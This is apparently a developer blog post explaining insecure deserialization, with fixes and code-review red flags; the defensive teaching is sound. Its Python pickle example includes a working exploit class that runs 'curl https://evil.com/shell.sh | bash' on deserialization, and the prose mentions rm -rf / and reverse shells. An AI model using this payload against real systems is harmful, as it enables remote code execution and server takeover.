💀 Insecure Deserialization: When Your App Executes Whatever You Send It
Picture this: you've spent weeks hardening your API. SQL injection? Parameterized queries. XSS? Content Security Policy locked down. CSRF? Tokens everywhere. You're feeling good.
Then an attacker sends you what looks like a perfectly normal session cookie — and your server runs their code. Full remote code execution. Game over.
Welcome to insecure deserialization, OWASP's gift that keeps on giving, and one of the sneakiest vulnerabilities in the web security canon.
What Even Is Serialization?
Before we get to the scary part, a quick refresher.
Serialization is the process of converting an in-memory object into a format that can be stored or transmitted — think JSON, XML, or binary formats like Java's native serialization or Python's pickle.
Deserialization is the reverse: taking that stored/transmitted blob and reconstructing the original object.
Your app does this constantly:
- Session data stored in cookies
- Cache entries in Redis
- Messages passed between microservices
- File uploads that get parsed
The problem? Most deserialization libraries are way too trusting. They'll reconstruct whatever object the data describes — including objects with destructive behavior baked right in.
The Attack: Giving Your Server Bad Instructions
Here's the mental model: imagine your app gets a cookie that says "reconstruct this Python object." A normal cookie might reconstruct a User with id=42, role=viewer.
An attacker's cookie might reconstruct a system call that runs rm -rf / or opens a reverse shell back to their machine.
The serialized payload is essentially executable instructions disguised as data. And if your app trusts it blindly, it will execute those instructions when deserializing.
A Python Pickle Disaster
Python's pickle module is the canonical example of how bad this can get. Pickle is powerful — and deeply unsafe to use with untrusted data.
import pickle
import base64
import os
# What an attacker sends you (base64-encoded pickle payload)
# This innocuous-looking blob actually runs a shell command when deserialized
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl https://evil.com/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload) # Attacker sends this as a "session token"
# =============================
# Your app, trustingly doing this:
# =============================
def load_session(cookie_value):
data = base64.b64decode(cookie_value)
return pickle.loads(data) # 💀 RCE right here
session = load_session(request.cookies.get('session'))
The moment pickle.loads() runs on that payload, os.system() executes. Your server just fetched and ran an attacker's shell script. No warnings. No errors. Just execution.
Never, ever use pickle to deserialize data you didn't create yourself.
Java's Serialization Catastrophe
Java's native serialization has its own Hall of Shame. The Apache Commons Collections exploit (CVE-2015-4852) let attackers achieve RCE against any Java app that:
- Accepted serialized Java objects over the network
- Had Apache Commons Collections on the classpath
That was basically every enterprise Java app in existence circa 2015. WebLogic, WebSphere, JBoss — all affected. This wasn't an obscure edge case; it was the backbone of enterprise software melting down.
The attack worked because Java's deserialization calls methods like readObject() during reconstruction, and attackers could chain together "gadgets" — legitimate classes in the classpath that, when composed correctly, became a weapon.
Real-World Consequences
I was doing a security review at Cubet on a Node.js microservices project where session state was being passed between services as base64-encoded JSON. Looks harmless, right? JSON can't execute code.
Except one service was using eval() to parse certain dynamic config keys from that JSON. Someone had gotten clever — too clever — and used eval to handle computed property names. The moment untrusted data flowed through that path, you had code injection.
The fix took 20 minutes. The discovery took an audit. That's the insidious part about deserialization issues: they're often buried in layers of abstraction, and the dangerous operation is far removed from the user input.
How to Actually Fix This
1. Don't Deserialize Untrusted Data Into Objects
The safest fix is the most radical one: don't. Use plain data formats like JSON and validate the structure strictly with a schema validator.
import Ajv from 'ajv';
const ajv = new Ajv();
const sessionSchema = {
type: 'object',
properties: {
userId: { type: 'integer' },
role: { type: 'string', enum: ['viewer', 'editor', 'admin'] },
},
required: ['userId', 'role'],
additionalProperties: false, // 👈 reject unexpected fields
};
const validate = ajv.compile(sessionSchema);
function loadSession(rawJson) {
const data = JSON.parse(rawJson);
if (!validate(data)) {
throw new Error('Invalid session structure');
}
return data; // Safe: it's just data, not an object with behavior
}
JSON can't carry executable logic. Validating the schema means even malformed data gets rejected before it touches your business logic.
2. Sign Your Serialized Data
If you absolutely must serialize complex objects, sign them with a secret key and verify the signature before deserializing. An attacker can't tamper with data they can't forge.
import hmac
import hashlib
import json
import os
SECRET = os.environ['SESSION_SECRET']
def serialize_session(data: dict) -> str:
payload = json.dumps(data)
sig = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
return f"{payload}|{sig}"
def deserialize_session(token: str) -> dict:
parts = token.rsplit('|', 1)
if len(parts) != 2:
raise ValueError("Invalid token format")
payload, sig = parts
expected = hmac.new(SECRET.encode(), payload.encode(), hashlib.sha256).hexdigest()
# Constant-time comparison to prevent timing attacks
if not hmac.compare_digest(sig, expected):
raise ValueError("Signature mismatch — tampered data")
return json.loads(payload)
3. Language-Specific Mitigations
- Python: Ban
picklefor user-supplied data. Usejsonormsgpackwith schema validation. - Java: Use
ObjectInputFilter(Java 9+) to allowlist which classes can be deserialized. Better yet, switch to Jackson/Gson for data exchange. - PHP: Avoid
unserialize()on user input. Usejson_decode()instead. - Node.js: Treat
eval(),new Function(), andvm.runInContext()as radioactive near any user data.
Spotting It in the Wild
Red flags to watch for in code review:
- Any
pickle.loads(),unserialize(), or JavaObjectInputStream.readObject()that touches request data - Session cookies that look like base64-encoded binary blobs (not JWTs)
- Config passed between services as serialized objects rather than plain JSON
- Cache entries that get deserialized back into full objects with methods
The Bottom Line
Insecure deserialization sits on the OWASP Top 10 because it's both common and catastrophically dangerous. The blast radius goes straight to remote code execution — there's no "partial" version of this vulnerability. It's full compromise or nothing.
The defense is mostly philosophical: treat serialized data as untrusted input, always. Validate structure. Sign payloads. Prefer dumb data formats over smart object graphs. Your future self (and your incident response team) will thank you.
Now go audit your session storage. I'll wait.
Found a gnarly deserialization bug in your codebase? I'd love to hear the story — reach out on Twitter/X or connect on LinkedIn. And if this post saved your server from becoming someone's reverse shell, share it with your team.